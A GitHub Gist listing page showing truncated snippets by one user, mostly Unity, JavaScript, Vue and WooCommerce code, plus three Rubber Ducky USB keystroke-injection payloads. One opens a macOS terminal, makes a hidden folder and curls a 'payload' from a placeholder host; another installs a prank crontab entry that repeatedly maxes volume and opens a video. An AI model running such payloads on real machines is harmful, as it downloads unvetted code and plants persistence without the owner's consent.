Skip to content

Instantly share code, notes, and snippets.

using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EventManager : MonoBehaviour
{
static public EventManager instance;
private Dictionary<string, Action> _eventDelegates;
private Dictionary<string, Action<dynamic>> _eventDelegatesWithArg;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CanPickupObjects : MonoBehaviour
{
public LayerMask clickableLayer;
public GameObject currentlyHolding;
public GameObject pickupDestination;
private BoxCollider thisCollider;
@JWardee
JWardee / RubberDuckyPayload
Last active February 11, 2020 21:44
Example payload
DEFAULTDELAY 250
DELAY 500
GUI SPACE
STRING terminal.app
ENTER
DELAY 100
STRING mkdir $HOME/.localrc/
ENTER
DELAY 10
STRING curl http://website.com/payload_a -o $HOME/.localrc/payload_a.sh
@JWardee
JWardee / ArrowFunctions.js
Last active July 31, 2019 10:39
ES6 Examples
/**
* Arrow functions
*/
var names = ['John', 'Jane', 'Jill'];
// Old
names.map(function(name) {
console.log(name);
});
@JWardee
JWardee / payload.txt
Created December 8, 2018 16:07
Hak5 Rubber Ducky USB payload for Windows that opens notepad says hello
DELAY 1000
GUI r
DELAY 500
STRING notepad.exe
ENTER
DELAY 500
STRING James says hello!
@JWardee
JWardee / payload.txt
Created December 8, 2018 16:00
Hak5 Rubber Ducky USB payload for OSX that forces the volume to maximum and opens a YouTube video every 2 minutes
DEFAULTDELAY 250
DELAY 750
GUI SPACE
STRING terminal.app
ENTER
DELAY 100
STRING echo "*/2 * * * * osascript -e 'set volume 7' && open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'" | crontab -
ENTER
DELAY 100
GUI q
@JWardee
JWardee / MyCustomProductsController.php
Created February 22, 2018 08:47
Instantiate this class to stop product images from being duplicated when creating a product using the WooCommerce API
<?php
class MyCustomProductsController extends WC_REST_Products_Controller
{
public function register_routes()
{
register_rest_route( $this->namespace, '/' . $this->rest_base, array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
@JWardee
JWardee / equate-height.js
Last active January 8, 2018 10:17
Vue directive that will equalise the height of elements on initial load, window resize and component update
$ = require('jquery');
_ = require('lodash');
Vue.directive('equate-height', {
inserted: function (el, binding) {
this.equateHeight = new EquateHeight(el, binding.value);
},
componentUpdated: function() {
this.equateHeight.setHeight();
},
@JWardee
JWardee / ainsley.exe.js
Last active December 24, 2017 21:04
A little easter egg that quickly shows a little someone - do "ainsley.exe()" in the console to see
var ainsley = {
exe: function() {
var egg = document.createElement('img');
egg.src = 'http://i0.kym-cdn.com/photos/images/facebook/000/114/193/1298574546091.jpg';
egg.setAttribute('style', 'position: fixed; top: 50%; left: 50%; z-index: 999999; transform: translate(-50%, -50%);');
document.body.appendChild(egg);
setTimeout(function() {
document.body.removeChild(egg);
}, 500);
}
@JWardee
JWardee / Demo.cs
Created October 25, 2015 21:27
Helper class for using the Facebook API with Unity v5, makes use of the excellent SimpleJSON class to decode JSON objects https://gist.github.com/darktable/1411710
using UnityEngine;
using System;
public class Demo : MonoBehaviour {
void Start() {
new FB_Query("/me", callback);
}
public void callback(SimpleJSON.JSONNode result) {